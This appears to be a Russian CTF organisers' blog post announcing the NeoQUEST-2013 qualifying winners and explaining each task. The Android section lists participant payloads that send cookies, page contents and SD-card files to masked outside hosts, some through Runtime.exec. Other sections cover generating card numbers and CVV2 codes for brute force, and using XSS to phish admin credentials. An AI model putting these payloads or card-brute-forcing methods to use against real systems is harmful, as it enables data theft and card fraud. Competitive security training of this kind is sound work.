Всем привет от команды NeoQUEST-2013!
Отборочный этап прошёл, и мы рады подвести его итоги. А итоги таковы, что мы не смогли ограничиться запланированным набором призов и подарков, потому что много участников, вклад которых нельзя не отметить.
Под катом подведение итогов и описание заданий отборочного этапа NeoQUEST–2013.
Призы получат четверо участников (l33t, vos, AVictor, d90andrew), прошедших все задания. Особняком стоят l33t – они участвовали командой (вообще-то, отборочный этап NeoQUEST-2013 предполагал индивидуальное участие), и мы по ходу квеста придумали для них отдельный командный приз (крутейший нанодром с кучей багов).
Участник AVictor вдоль и поперёк изучил задание с Android (и не только его) и оперативно информировал нас о мыслимых и немыслимых читах, и поэтому помимо приза (iPod Touch) мы вручаем ему ещё и дополнительный подарок (баги-баги-баги), чтобы он и дальше проявлял интерес к поиску багов везде, всегда и во всём. Участники vos и d90andrew получают ASUS Transformer Pad Infinity TF700T и iPod Nano соответственно.
Наш специальный «приз симпатий жюри» (AR.Drone 2.0) достаётся участнику tavel, который хоть и прошёл не все задания, но разобрал по косточкам алгоритмы генерации CVV2 (радует, что в NeoQUEST участвуют специалисты такого уровня) и проявил беспримерное усердие в прохождении задания со skipass.
Кроме того, все участники, преуспевшие в прохождении квеста, получат от нас памятные подарки, которые в этом году будут слаще и вкуснее прошлогодних.
Со всеми участниками, прошедшими во второй (очный) тур NeoQUEST-2013, который состоится в окрестностях Санкт-Петербурга 10 июля 2013 года, мы свяжемся персонально (вы ведь указывали действующий e-mail при регистрации) для передачи призов и подарков.
Описание заданий и способов их прохождения
Раз-страничка, два страничка (разбор дампов)
В распоряжении участников были дамп трафика и дамп оперативной памяти. В трафике без труда находится ftp-сессия передачи запароленного zip-архива с файлом key.txt. Осталось только найти пароль к архиву в дампе памяти, что можно сделать двумя путями: простым и совсем простым.
Простой путь: с помощью утилиты strings найти все Unicode-строки и составить словарь для брутфорса пароля, а дальше вскрытие архива остается делом техники.
Совсем простой путь: если сделать «ctrl+F» в дампе памяти по названию архива «key.txt», то совсем рядом обнаружится и пароль.
Стоимость сообщения 18 у.е. без НДС (реверсинг Android-приложения + javascript через SMS)
Запытанный игнором во время разработки задания бот-экстраверт с радостью раздавал всем собеседникам номер своего мобильного, лишь бы получить побольше сообщений — ведь он сидел в чате и с веб-морды, и с телефона.
Чтобы порадовать бедолагу вниманием, нужно было отослать смс, и если она проходила по регулярному выражению, то тут же добавлялась как входящее сообщение в чат.
Кроме этой возможности в приложении была реализована функция передачи собеседнику файла с SD-карточки через сервер (что, кстати, породило серьезный чит с заливом шелла, который заметили даже хостеры).
В интерфейсе Android-приложения, который представляет собой WebView, не хватало только большой красной кнопки «отправить файл», поэтому функцию надо было вызвать самостоятельно через javascript, который без каких-либо ограничений можно было пропихнуть через смс. Но не любой javascript при таком способе вставки выполняется, а поскольку бот на Android был почти как человек (такой же ужасно любопытный и безбоязненный), то он с радостью нажимал на все приходящие кнопки.
Алгоритм прохождения задания:
Такие варианты присылали участники:
-- /list
-- Не угадал)
-- Вручную пишешь?
-- Только никому не рассказывайте, что вы руками СМС обрабатываете - засмеют.
Привет! Надеюсь я не попал на $18? :)
. NQC fob: <img src=http://xxx.xxx.xxx.xxx:xxxx/inject>
. NQC fob: ");var c =["my","your"];for(var k = 0; k < 2; k++){var msgs=document.getElementsByClassName(c[k]);for (var i = 0; i < msgs.length;i++){var cname = msgs[i].className;var childs=msgs[i].children;for(var j = 0; j < childs.length; j++)appendText("<img src=http://xxx.xxx.xxx.xxx:xxxx/"+cname+"/"+encodeURIComponent(childs[j]. innerText)+">");}};show("fob
. NQC fob: ");var e=document.getElementsByClassName("tab");for(var i=0;i<e.length;i++)appendText("<img src=http://xxx.xxx.xxx.xxx:xxxx/"+encodeURIComponent(e[i].title)+">");show("admin
1 NQC Contacts:<img src="http://xxx.xxx.xxx/d.php"
1 NQC fob:","my");var i=new Image();i.src="http://xxx.xxx.xxx/d.php?d="+escape(findTab("fob").innerHTML);appendMsg("x","
1 NQC fob:","my");var x=new XMLHttpRequest();x.open('POST','http://xxx.xxx.xxx/d.php',true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send("a="+encodeURIComponent(document.getElementsByTagName('body')[0].innerHTML));appendMsg("x","
1 NQC x:","my");var s=document.createElement('script');s.src='https://xxx.xxx.xxx/1.txt';document.getElementsByTagName('head')[0].appendChild(s);clr("
1 NQC x:","my");var s=escape(document.getElementsByTagName('body')[0].innerHTML);for(i=0;i<s.length;i+=99)window.Android.postMessage(s.substr(i,99),"_");clr("
1 NQC fob:","my");var i=new Image();i.src="http://xxx.xxx.xxx/d.php?d="+escape(findTab("Contacts").innerHTML);appendMsg("x","
1 NQC x:","my");var s=escape(findTab("Contacts").innerHTML);for(i=0;i<s.length;i+=99)window.Android.postMessage(s.substr(i,99),"_");clr("
1 NQC x:","my");var s=document.createElement('script');s.src='https://xxx.xxx.xxx/d.php';document.getElementsByTagName('head')[0].appendChild(s);clr("
1 NQC fob:<img src="http://xxx.xxx.xxx/d.php"/>
1 NQC fob:","my");window.Android.sendFile("key.txt","AVictor");clr("
Q NQC " eval('q=new Image();q.src="http://xxx.xxx.xxx/image.php?" document.cookie;') "
. NQC fob: "); document.body.innerHTML="<iframe width=100% height=100% frameborder=0 src=http://xxx.xxx.xxx.xxx:xxxx/l.html></iframe>";//
Q NQC <img src="http://xxx.xxx.xxx/image.php?qwe"/>:hello
Q NQC <img src="http://xxx.xxx.xxx/image.php?123">:hello
Q NQC " eval('i=new Image();i.src="http://xxx.xxx.xxx/image.php?' document.cookie '";') ":hello
Q NQC hello:<img src="http://xxx.xxx.xxx/image.php?qwe1"/>
Q NQC " eval(';i=new Image();i.src="http://xxx.xxx.xxx/image.php?'; document.cookie ';";';) ":hello
. NQC test: ");function snd(i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || (s=="\n" && c.length>512)) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/?"+encodeURIComponent(c)+">";c=""; }}}rt=Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null). invoke(null,null);snd(rt.exec(["/system/bin/ls","-R","/sdcard/"]).getInputStream());; show("test
. NQC test: ");function snd(i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || c.length>31) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/?"+encodeURIComponent(c)+">";c=""; }}}rt=Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null). invoke(null,null);snd(rt.exec(["/system/bin/ls","-R","/sdcard/"]).getInputStream());; show("test
. NQC test: ");function snd(fn, i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || c.length > 32) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/"+fn+"?"+encodeURIComponent(c)+">";c=""; }}}rt = Android.getClass().forName("java.lang.Runtime").getMethod( "getRuntime",null).invoke(null,null);snd("f", rt.exec(["/system/bin/cat", "/sdcard/flag"]).getInputStream());snd("ft", rt.exec(["/system/bin/cat", "/sdcard/flag.txt"]).getInputStream());snd("k", rt.exec(["/system/bin/cat", "/sdcard/key"]).getInputStream());snd("kt", rt.exec(["/system/bin/cat", "/sdcard/key.txt"]).getInputStream());;show("test
. NQC xxx: ");Android.postMessage("xxx", "/, /.txt, key, key.txt"); //
. NQC xxx: ");Android.postMessage("xxx", "/./.txt.key.key.txt"); //
. NQC fob: ");Android.postMessage("file:///android_asset/key.txt", "xxx"); //;Android.postMessage( "xxx");"<img
src=http://xxx.xxx.xxx.xxx:xxxxx/" fn "?" encodeURIComponent(c) ">"; -> {Android.postMessage(
. NQC test: ");function snd(fn, i){var c = "";var b = i.read();while(b
!= -1) {var s = String.fromCharCode(b);c = s;b = i.read();if(b<0
Ну и кое-кто считил. Всего пришло примерно 200 смс (нужно было прикручивать короткий номер – и подзаработали бы заодно).
Некоторые даже хотели пообщаться вербально! Получилось веселое задание.
Туда и обратно (кардинг)
Мы продуктивно обсудили прохождение этого задания с участником tavel – и лучше про задание и не напишешь. Переписка практически без изменений, но немного сокращена (надеюсь, tavel не против и не заставит меня бегать по судам):
tavel-------->NeoQUEST_support
Во-первых, у банка Санкт-Петербург два BIN, подходящих под условие задачи, 479768 и 479769, вот список всех BIN этого банка: 479768;VISA;BANK SAINT PETERSBURG PLC;DEBIT;CLASSIC;RUSSIAN FEDERATION;RU;RUS;643;; 479769;VISA;BANK SAINT PETERSBURG PLC;DEBIT;CLASSIC;RUSSIAN FEDERATION;RU;RUS;643;; 479770;VISA;BANK SAINT PETERSBURG PLC;DEBIT;BUSINESS;RUSSIAN FEDERATION;RU;RUS;643;; 479771;VISA;BANK SAINT PETERSBURG PLC;CREDIT;PLATINUM;RUSSIAN FEDERATION;RU;RUS;643;; 479772;VISA;BANK SAINT PETERSBURG PLC;DEBIT;ELECTRON;RUSSIAN FEDERATION;RU;RUS;643;; 479773;VISA;BANK SAINT PETERSBURG PLC;DEBIT;PREMIER;RUSSIAN FEDERATION;RU;RUS;643;; Как видим, оба первых BIN подходят под условия. Видимо, имеется в виду 479769, как указанный на гуглящихся изображениях карт этого банка, но проверять-то оба придется. Далее, т.к. мы не знаем последние 4 цифры, то на каждый BIN будет 1000 комбинаций, с учетом того, что последнюю цифру мы можем вычислять автоматически по алгоритму Луна. Итого на подбор нам нужно 2000 попыток. во-вторых: при покупке в онлайне вводится CVV2 код, а не CVV, CVV2 код написан на обратной стороне карты, а CVV код записан на 1-м треке магнитной полосы, он неизвестен пользователю и он никогда нигде вручную не вводится. В задании везде CVV, на сайте label поля с кодом "CVV2/CVC2", а placeholder CVV, в общем, непонятно, что именно имели в виду авторы и какой алгоритм использовать. Алгоритмы вычисления этих кодов похожи, но отличаются (http://dmitryga.ru/2013/640): CVV = 3DES(PAN[9], MMYY, ServiceCode) CVV2 = 3DES(PAN[9], YYMM, 000) Во-первых, порядок месяца и года обратный, во-вторых, для вычисления CVV2 сервис-код не нужен, он берется как 000. Ну, что сервис-код в задании имеется в виду 101 это понятно, непонятно, почему он вообще участвует в расчете CVV2. Кстати, от номера карты (PAN) берутся только 9 цифр (пропускается BIN и последняя контрольная цифра), чтобы получалось 16 цифр, взяв каждые 2 цифры которых за шестнадцатеричное значение, мы получим 8 байт, т.е. 64-битный код, который и шифруется 64-битными ключами, всё это придумано для оптимизации и ускорения процесса расчета. Ну и просто уточнение, видимо не влияющее на задание: Под 3DES обычно подразумевается шифрование 1-м ключом, дешифрование результата 2-м ключом и шифрование результата опять 1-м ключом, т.н. порядок EDE с двумя ключами, однако существуют другие варианты, например, EEE, и текущий алгоритм у визы в общем-то держится в секрете, и не факт, что это именно EDE2.
NeoQUEST_support------>tavel
Тот алгоритм подсчёта CVV и CVV2, который вы описали, не является единственно верным (даже не о EDE речь). Есть алгоритмы, которые берут все цифры PAN, потом добавляют оставшееся нулями до 128 бит, бьют на две части эти данные и потом после первого шага DES-а их XOR-ят между собой. Поэтому вариантов несколько. Открою небольшой секрет. Там корректно обработается несколько CVV, т.е. мы проработали несколько путей прохождения задания (вычисления CVV2) и решили, что все они будут считаться правильными.
Порядок прохождения задания:
1. Залогиниться на сайте (nick/nick).
2. Узнать BIN (IIN) банка Санкт-Петербург. В гугле находится — 479769. Добыть другие BIN можно, только имея скрытые каналы (как, видимо, у tavel) к официально закрытому актуальному списку BIN.
3. Использовать алгоритм Луна и алгоритм генерации CVV2 (например, такой CVV2 = 3DES(PAN[9], YYMM, 000) для генерации пар PAN/CVV. Можно было для этого использовать программу EFT Calculator, немного поменяв её исходники.
4. Перебрать (конечно, не вручную) все несколько тысяч вариантов на сайте в форме покупки билета. И при правильном вводе данных получить ключ на введённую почту.
Мой первый MP3 плеер (аудио-стеганография)
Простые манипуляции с файлом могут помочь в сокрытии передаваемой информации, особенно если не знать, где её искать. Мы немного ограничили область поиска, чтобы участники искали иголку не в стоге сена: «Ник проиграл первые 5 секунд, затем еще пару секунд трека с 2:40 и, наконец, последний фрагмент с 3:42». Это, конечно, существенно упростило задачу.
Слово, вставленное в mp3-файл, было разбито на три части.
Первый отрезок – слово «RUM». Это слово мы воспроизвели на генераторе речи, затем замедлили и инвертировали. Соответственно, участникам предстояла обратная задача.
Второй отрезок – слово «GINAE». Оно было закодировано морзянкой и сильно ускоренно. При внимательном прослушивании отрезка можно сразу ее услышать, а затем замедлить песню на этом отрезке и раскодировать морзянку.
Третий отрезок – слово «IMA». В этом отрезке мы специально вырезали определённый диапазон частот и вставили морзянку, записанную на этой частоте. Морзянка звучала только в одном канале и была приглушена, поэтому её было очень сложно услышать невооруженным и вооруженным слухом без специальных манипуляций. В тегах mp3 была оставлена подсказка, указывающая на рабочий диапазон частот морзянки: «Riped by fans for fans. Enjoy in 800-1000». Если с помощью параметрического эквалайзера, к примеру, в Sound Forge, поднять необходимые частоты, то можно услышать морзянку и, раскодировав её, получить искомый кусочек.
В итоге получатеся слово IMAGINAERUM, что является названием одного из альбомов группы Nightwish – любимой группы создателя задания =). key=MD5(IMAGINAERUM)
Если есть в кармане пачка сигарет (стелс-сервер)
Для реализации задания мы использовали сервер с установленной нашей операционной системой FebOS, в используемой версии которой просто не было как такового tcp/ip стека и стека протоколов, поэтому он не отвечал вообще ни на какие запросы кроме одного: по UDP на порт 2112. Мы поставили задержки в ответе на сообщения, приходившие на этот порт, в результате чего многие утилиты перестали обнаруживать этот порт как открытый (в частности, nmap). Обнаружить его можно, запустив какой-нибудь сканер на сканирование всех UDP-портов и посмотрев в Wireshark ответы (придёт всего один с порта 2112). Основная часть задания решена, дальше уже дело техники и развлечения. Нужно согласовать xml-протокол с сервером по подсказкам:
(картинка участника vos)
И выиграть у бота в гомоку:
(картинка участника vos)
«Новый год для нас — не праздник»(с) Почта России (веб-безопасность)
Это задание практически полностью повторяло ситуацию с реальным довольно крупным сайтом, пентест которого мы недавно проводили. Жизнь всё придумает за нас, нам остаётся только не испортить.
Входной точкой является SQL-Injection, с помощью которой можно добыть информацию об администраторах сайта (e-mail адреса и хеши паролей).
Кроме SQL-Injection на сайте есть passive xss. Используя социальную инженерию, можно было заставить администратора ввести учётные данные (админ был реальный, работающий с 10:00 до 18:00, а иногда и почти круглосуточно), перейдя по ссылке, содержащей XSS и пересылающей Вам логин и пароль. Многие участники, проходившие задания этим путём, упорно старались получить куки и совсем не хотели применять социальную инженерию – хотя в жизни именно человек чаще всего является самым слабым звеном.
Пароли администраторов сайта, так же как и всё задание, мы взяли из жизни: не заоблачно сложные, но и не словарные (средняя длина, содержание цифр, букв, символов и т.д.). Поэтому, получив хэши паролей администраторов, можно было вполне успешно справиться с задачей их восстановления по md5-хэшу, что некоторые пользователи и сделали.
Прочь тоска, под ногами доска! (SCADA-система + поиск по картинкам)
Благодарности
Спасибо всем участникам! Мы надеемся, что вам понравилось, и что каждый узнал для себя что-нибудь новое и полезное. Радует, что все задания пройдены, за что отдельное спасибо всем призёрам. Встретимся с вами на очном этапе NeoQUEST-2013, и заранее желаем вам удачи!
Спасибо всей команде, участвовавшей в создании заданий: ainchorn, otanatari, macoeshka, bozzzon, denys, sergy, 3ka5_cat и др. Отдельное спасибо pushkin за поддержку всей инфраструктуры и, конечно, Xandra за отличный больничный дизайн.
Автор: re_sh